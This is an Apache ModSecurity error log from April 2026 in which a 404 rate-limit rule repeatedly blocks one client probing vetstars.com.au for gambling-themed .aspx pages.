[Wed Apr 01 08:15:07.636759 2026] [:error] [pid 23715:tid 23770] [client 145.239.66.34:45296] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acxji6-REzOruNbiT9x6LwAAAEk"]
[Wed Apr 01 08:15:10.046171 2026] [:error] [pid 23714:tid 23748] [client 145.239.66.34:49056] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "acxjjkHxDDU2ETcG9DQMFQAAAA4"]
[Wed Apr 01 08:15:12.565129 2026] [:error] [pid 24346:tid 24359] [client 145.239.66.34:49072] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acxjkLc1l8kg9MhGHIKjbAAAAUc"]
[Wed Apr 01 08:15:14.977920 2026] [:error] [pid 23715:tid 23778] [client 145.239.66.34:49080] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acxjkq-REzOruNbiT9x6VAAAAFE"]
[Wed Apr 01 08:15:17.537589 2026] [:error] [pid 23716:tid 23810] [client 145.239.66.34:49102] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acxjlXVtFUg_mx-RYb52iQAAAJY"]
[Wed Apr 01 08:15:19.895370 2026] [:error] [pid 23714:tid 23752] [client 145.239.66.34:44996] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acxjl0HxDDU2ETcG9DQMOwAAABI"]
[Wed Apr 01 08:15:22.307513 2026] [:error] [pid 23714:tid 23734] [client 145.239.66.34:45016] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acxjmkHxDDU2ETcG9DQMPwAAAAA"]
[Wed Apr 01 08:15:24.825978 2026] [:error] [pid 23716:tid 23803] [client 145.239.66.34:45028] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acxjnHVtFUg_mx-RYb52jQAAAI8"]
[Wed Apr 01 08:15:27.249501 2026] [:error] [pid 23715:tid 23784] [client 145.239.66.34:45044] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acxjn6-REzOruNbiT9x6jAAAAFc"]
[Wed Apr 01 08:15:29.793671 2026] [:error] [pid 23819:tid 23823] [client 145.239.66.34:50190] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acxjoddfUS_37wFAM773dgAAAME"]
[Wed Apr 01 08:15:32.211918 2026] [:error] [pid 24314:tid 24331] [client 145.239.66.34:50198] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acxjpJRF3FCzjmMUX5b48QAAAQ0"]
[Wed Apr 01 08:15:34.605134 2026] [:error] [pid 24348:tid 24397] [client 145.239.66.34:50206] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acxjpm0Vs69Y5nF1HA_4jgAAAZI"]
[Wed Apr 01 08:15:37.135525 2026] [:error] [pid 23715:tid 23765] [client 145.239.66.34:50214] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acxjqa-REzOruNbiT9x6lgAAAEQ"]
[Wed Apr 01 08:15:39.527600 2026] [:error] [pid 23715:tid 23763] [client 145.239.66.34:50230] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acxjq6-REzOruNbiT9x6mwAAAEI"]
[Wed Apr 01 08:15:42.052677 2026] [:error] [pid 24346:tid 24355] [client 145.239.66.34:51826] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acxjrrc1l8kg9MhGHIKjkAAAAUM"]
[Wed Apr 01 08:15:44.580527 2026] [:error] [pid 23714:tid 23749] [client 145.239.66.34:51828] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acxjsEHxDDU2ETcG9DQMrQAAAA8"]
[Wed Apr 01 08:16:10.564708 2026] [:error] [pid 24348:tid 24379] [client 145.239.66.34:51836] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acxjym0Vs69Y5nF1HA_48QAAAYA"]
[Wed Apr 01 08:16:12.877117 2026] [:error] [pid 23715:tid 23778] [client 145.239.66.34:53554] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acxjzK-REzOruNbiT9x7HAAAAFE"]
[Wed Apr 01 08:16:15.275720 2026] [:error] [pid 23715:tid 23776] [client 145.239.66.34:53562] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acxjz6-REzOruNbiT9x7IwAAAE8"]
[Wed Apr 01 08:16:17.777496 2026] [:error] [pid 23715:tid 23776] [client 145.239.66.34:53576] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acxj0a-REzOruNbiT9x7MgAAAE8"]
[Wed Apr 01 08:16:20.329093 2026] [:error] [pid 24346:tid 24365] [client 145.239.66.34:53620] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acxj1Lc1l8kg9MhGHIKjzAAAAU0"]
[Wed Apr 01 08:16:22.696653 2026] [:error] [pid 24346:tid 24368] [client 145.239.66.34:53638] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acxj1rc1l8kg9MhGHIKj0wAAAVA"]
[Wed Apr 01 08:16:25.211302 2026] [:error] [pid 24348:tid 24399] [client 145.239.66.34:53654] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acxj2W0Vs69Y5nF1HA_5BAAAAZQ"]
[Wed Apr 01 08:16:27.734600 2026] [:error] [pid 24348:tid 24391] [client 145.239.66.34:53660] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "acxj220Vs69Y5nF1HA_5CwAAAYw"]
[Wed Apr 01 08:16:30.111277 2026] [:error] [pid 23715:tid 23772] [client 145.239.66.34:36032] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "acxj3q-REzOruNbiT9x7RAAAAEs"]
[Wed Apr 01 08:16:32.647090 2026] [:error] [pid 24348:tid 24379] [client 145.239.66.34:36046] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "acxj4G0Vs69Y5nF1HA_5EgAAAYA"]
[Wed Apr 01 08:16:35.016311 2026] [:error] [pid 23714:tid 23734] [client 145.239.66.34:36054] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "acxj40HxDDU2ETcG9DQNXQAAAAA"]
[Wed Apr 01 08:16:37.542854 2026] [:error] [pid 23819:tid 23844] [client 145.239.66.34:36062] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acxj5ddfUS_37wFAM773ywAAANY"]
[Wed Apr 01 08:16:40.062323 2026] [:error] [pid 23714:tid 23757] [client 145.239.66.34:51270] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acxj6EHxDDU2ETcG9DQNaQAAABc"]
[Wed Apr 01 08:16:42.564317 2026] [:error] [pid 23714:tid 23751] [client 145.239.66.34:51280] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "acxj6kHxDDU2ETcG9DQNdAAAABE"]
[Wed Apr 01 08:16:45.083318 2026] [:error] [pid 23715:tid 23770] [client 145.239.66.34:51296] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acxj7a-REzOruNbiT9x7cAAAAEk"]
[Wed Apr 01 08:16:47.588606 2026] [:error] [pid 24348:tid 24397] [client 145.239.66.34:51306] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acxj720Vs69Y5nF1HA_5OAAAAZI"]
[Wed Apr 01 08:16:50.074902 2026] [:error] [pid 23714:tid 23755] [client 145.239.66.34:53478] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "acxj8kHxDDU2ETcG9DQNiAAAABU"]
[Wed Apr 01 08:16:52.560499 2026] [:error] [pid 24348:tid 24381] [client 145.239.66.34:53486] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acxj9G0Vs69Y5nF1HA_5PwAAAYI"]
[Wed Apr 01 08:16:54.981897 2026] [:error] [pid 24346:tid 24365] [client 145.239.66.34:53500] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acxj9rc1l8kg9MhGHIKj6AAAAU0"]
[Wed Apr 01 08:16:57.509531 2026] [:error] [pid 24348:tid 24392] [client 145.239.66.34:53502] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acxj-W0Vs69Y5nF1HA_5UQAAAY0"]
[Wed Apr 01 08:16:59.885865 2026] [:error] [pid 24348:tid 24388] [client 145.239.66.34:60958] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acxj-20Vs69Y5nF1HA_5WAAAAYk"]
[Wed Apr 01 08:17:02.407759 2026] [:error] [pid 23714:tid 23753] [client 145.239.66.34:60970] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acxj_kHxDDU2ETcG9DQNsgAAABM"]
[Wed Apr 01 08:17:04.895912 2026] [:error] [pid 23715:tid 23773] [client 145.239.66.34:60982] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acxkAK-REzOruNbiT9x7zgAAAEw"]
[Wed Apr 01 08:17:48.362585 2026] [:error] [pid 23714:tid 23746] [client 145.239.66.34:60988] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "acxkLEHxDDU2ETcG9DQOdgAAAAw"]
[Wed Apr 01 08:17:50.679875 2026] [:error] [pid 23715:tid 23785] [client 145.239.66.34:40108] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "acxkLq-REzOruNbiT9x8cwAAAFg"]
[Wed Apr 01 08:17:53.036870 2026] [:error] [pid 23714:tid 23737] [client 145.239.66.34:40120] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "acxkMUHxDDU2ETcG9DQOqAAAAAM"]
[Wed Apr 01 08:17:55.563561 2026] [:error] [pid 23715:tid 23761] [client 145.239.66.34:40122] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "acxkM6-REzOruNbiT9x8hAAAAEA"]
[Wed Apr 01 08:17:57.965604 2026] [:error] [pid 23715:tid 23771] [client 145.239.66.34:40124] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "acxkNa-REzOruNbiT9x8lwAAAEo"]
[Wed Apr 01 08:18:00.511511 2026] [:error] [pid 23819:tid 23832] [client 145.239.66.34:46720] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acxkONdfUS_37wFAM774DAAAAMo"]
[Wed Apr 01 08:18:02.877454 2026] [:error] [pid 24348:tid 24379] [client 145.239.66.34:46734] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acxkOm0Vs69Y5nF1HA_5uAAAAYA"]
[Wed Apr 01 08:18:05.367031 2026] [:error] [pid 23715:tid 23784] [client 145.239.66.34:46740] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acxkPa-REzOruNbiT9x8pwAAAFc"]
[Wed Apr 01 08:18:07.878116 2026] [:error] [pid 23714:tid 23758] [client 145.239.66.34:46742] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acxkP0HxDDU2ETcG9DQPBgAAABg"]
[Wed Apr 01 08:18:10.411776 2026] [:error] [pid 24314:tid 24324] [client 145.239.66.34:46286] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acxkQpRF3FCzjmMUX5b5fwAAAQY"]
[Wed Apr 01 08:18:12.817329 2026] [:error] [pid 24314:tid 24319] [client 145.239.66.34:46290] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acxkRJRF3FCzjmMUX5b5ggAAAQE"]
[Wed Apr 01 08:18:15.336758 2026] [:error] [pid 24348:tid 24386] [client 145.239.66.34:46302] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acxkR20Vs69Y5nF1HA_5zAAAAYc"]
[Wed Apr 01 08:18:17.677758 2026] [:error] [pid 24348:tid 24396] [client 145.239.66.34:46318] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acxkSW0Vs69Y5nF1HA_50wAAAZE"]
[Wed Apr 01 08:18:20.202208 2026] [:error] [pid 24346:tid 24359] [client 145.239.66.34:39452] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acxkTLc1l8kg9MhGHIKkQQAAAUc"]
[Wed Apr 01 08:18:22.692811 2026] [:error] [pid 23714:tid 23741] [client 145.239.66.34:39464] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acxkTkHxDDU2ETcG9DQPZAAAAAc"]
[Wed Apr 01 08:18:25.237786 2026] [:error] [pid 24348:tid 24400] [client 145.239.66.34:39480] [client 145.239.66.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acxkUW0Vs69Y5nF1HA_56QAAAZU"]
